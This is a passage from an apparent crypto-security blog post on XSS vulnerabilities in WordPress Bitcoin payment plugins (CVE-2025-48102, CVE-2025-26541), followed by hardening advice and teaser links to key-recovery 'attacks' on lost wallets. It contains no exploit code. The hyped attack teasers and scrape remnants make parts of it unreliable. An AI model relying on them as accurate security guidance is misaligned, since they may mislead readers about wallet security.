The vulnerability arises from improper neutralization of user input when generating web pages. An attacker with administrative privileges can inject malicious scripts into the WordPress content management system, which are then stored in the database and automatically executed when other users visit the page. patchstack+2
As Patchstack experts explain, this allows an attacker to inject various malicious elements, including:
- Redirects to phishing sites
- Unauthorized advertising
- Custom HTML Payloads patchstack
The criticality of the situation
Of particular concern is the fact that the GoUrl plugin is no longer supported by its developers . According to Patchstack, the software hasn’t been updated for over a year and likely won’t receive any further updates or patches. This leaves all websites using this plugin permanently vulnerable to exploitation.
Wiz platform experts note that this Stored XSS vulnerability was discovered in the WordPress plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership and disclosed on September 5, 2025. Although exploitation requires administrator privileges, the malicious code can be executed on behalf of any site visitor , significantly expanding the potential scope of attack.
CVE-2025-26541: Reflected XSS Vulnerability in Bitcoin/AltCoin Payment Gateway
The second vulnerability, CVE-2025-26541 , was published on March 26, 2025 and affects the plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce in all versions up to and including 1.7.6.
The discovery of vulnerabilities CVE-2025-48102 and CVE-2025-26541 in popular Bitcoin payment gateway plugins for WordPress poses a serious and urgent threat to all owners of online stores and websites that accept cryptocurrency payments. These vulnerabilities affect critical financial transaction processing infrastructure, requiring immediate and comprehensive security measures.
Critical Bitcoin Payment Gateway Vulnerabilities: CVE-2025-48102 vs CVE-2025-26541 Comparison
Conclusions and recommendations
The discovery of vulnerabilities CVE-2025-48102 and CVE-2025-26541 highlights the critical importance of proactive security for all WordPress website owners, especially those that process financial payments. Abandoned software poses a persistent threat that must be immediately addressed through complete removal.
Statistics for 2024 show that the situation is becoming increasingly serious: 33% of vulnerabilities remain unpatched , XSS attacks account for nearly half of all threats , and thousands of plugins are removed annually due to security issues. This requires a multi-layered approach, including a WAF, regular audits, monitoring, cryptographic protection, and the selection of reliable alternatives.
Website owners should remember: delays in updating or removing vulnerable plugins can lead to complete site compromise, theft of customer data, and loss of cryptocurrency assets . Security is not a one-time event, but an ongoing risk management process that requires attention, resources, and professional training.
References:
- Predictor Flash Attack: How deterministic random number generation leads to catastrophic hacking of Bitcoin private keys, where an attacker manages to instantly reveal secret data and keys for lost Bitcoin wallets at a predictable moment (CVE-2022-39218, CVE-2023-31290) Predictor Flash Attack A «Predictor Flash Attack» is a technique for extracting private or sensitive data through the analysis of deterministic pseudorandom number sequences used in target software. The attacker observes…Read More
- Signature Hydra Attack: A critical vulnerability in ECDSA deserialization and recovery of private keys for lost Bitcoin wallets, where an attacker exploits signature deserialization errors and bugs to gradually gain control over victims’ wallets. Signature Hydra Attack A Signature Hydra Attack is a method in which an attacker creates a stream of «mutant» ECDSA signatures, each of which appears valid on the surface but…Read More
- Crystalline Keystorm Attack: Catastrophic Predictability as an Attack on RNG and Recovery of Private Keys to Lost Bitcoin Wallets, where an attacker finds errors in random number generation and makes secrets predictable and recoverable from SEED leaks to the loss of all BTC funds Crystalline Keystorm Attack A » Crystalline Keystorm Attack » is a class of attacks in which the use of a predictable random number generator with a known seed results in complete predictability of…Read More
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and elliptic curve cryptography (secp256k1) against weak ECDSA signatures in the BITCOIN cryptocurrency . The software developers are not responsible for the use of this material.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/fGR7Iqiq8Ag
Video tutorial: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
Source: https://cryptodeeptech.ru/phantom-signature-attack
